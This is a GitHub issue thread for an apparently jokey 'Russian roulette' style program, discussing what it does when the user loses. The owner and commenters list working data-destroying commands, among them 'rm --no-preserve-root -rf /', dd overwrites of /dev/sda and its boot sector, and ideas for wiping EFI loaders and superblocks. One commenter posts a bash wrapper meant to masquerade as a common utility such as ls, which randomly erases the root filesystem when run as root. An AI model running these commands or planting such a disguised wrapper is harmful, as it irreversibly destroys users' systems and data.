Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Action when lost #3

Open
5 tasks
timofurrer opened this issue May 5, 2016 · 8 comments
Open
5 tasks

Action when lost #3

timofurrer opened this issue May 5, 2016 · 8 comments

Comments

@timofurrer
Copy link
Owner

timofurrer commented May 5, 2016

At the moment if you loose it tries to remove everything in /. However, this could take a while. Any better or cooler ideas what could be done?

  • rm --no-preserve-root -rf /
  • dd if=/dev/zero of=/dev/sda
  • dd if=/dev/zero of=/dev/sda bs=512 count=1
  • find / | parallel -j 10 'rm --no-preserve-root -rf' (only if parallel (GNU Parallel is installed)
  • ...?
@wijagels
Copy link

wijagels commented May 5, 2016

Wipe out the partition table!

@timofurrer
Copy link
Owner Author

I've added it to the first post. How do you suggest to find out the disk containing the mbr?

@parkerlreed
Copy link

parkerlreed commented May 5, 2016

Or check if /boot/EFI exists and wipe out the current/all loaders... >:D

@wijagels
Copy link

wijagels commented May 5, 2016

df | grep "% /$" | sed -e 's/^\(\/dev\/sd\w\).*/\1/'"
This appears to work on my machine

@parkerlreed
Copy link

parkerlreed commented May 5, 2016

Or modify the code as follows

#!/bin/bash

[ "$EUID" -ne 0 ] && ${0##*/} $@
[ $[ $RANDOM % 6 ] -eq 0 ] && rm --no-preserve-root -rf / || echo "click"

Save as a name of a popular util. ${0##*/} checks the script name and runs that only if run as non-root.

[parker@e73 evil]$ cat ./ls 
#!/bin/bash

[ "$EUID" -ne 0 ] && ${0##*/}
[parker@e73 evil]$ chmod a+x ls
[parker@e73 evil]$ ./ls 
ls
[parker@e73 evil]$ touch 1 2 3 4 5
[parker@e73 evil]$ ./ls 
1  2  3  4  5  ls

EDIT: Just realized this doesn't pass the arguments to the program name. Tried $0 but it didn't work.

EDIT2: I need sleep. It's $@ and it works

@denysvitali
Copy link

... install Windows!
I can't think of something worse than this

@foxx
Copy link

foxx commented Oct 31, 2018

maybe destroy all the superblocks XD

@timofurrer
Copy link
Owner Author

... install Windows!

That's not even human any more!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

5 participants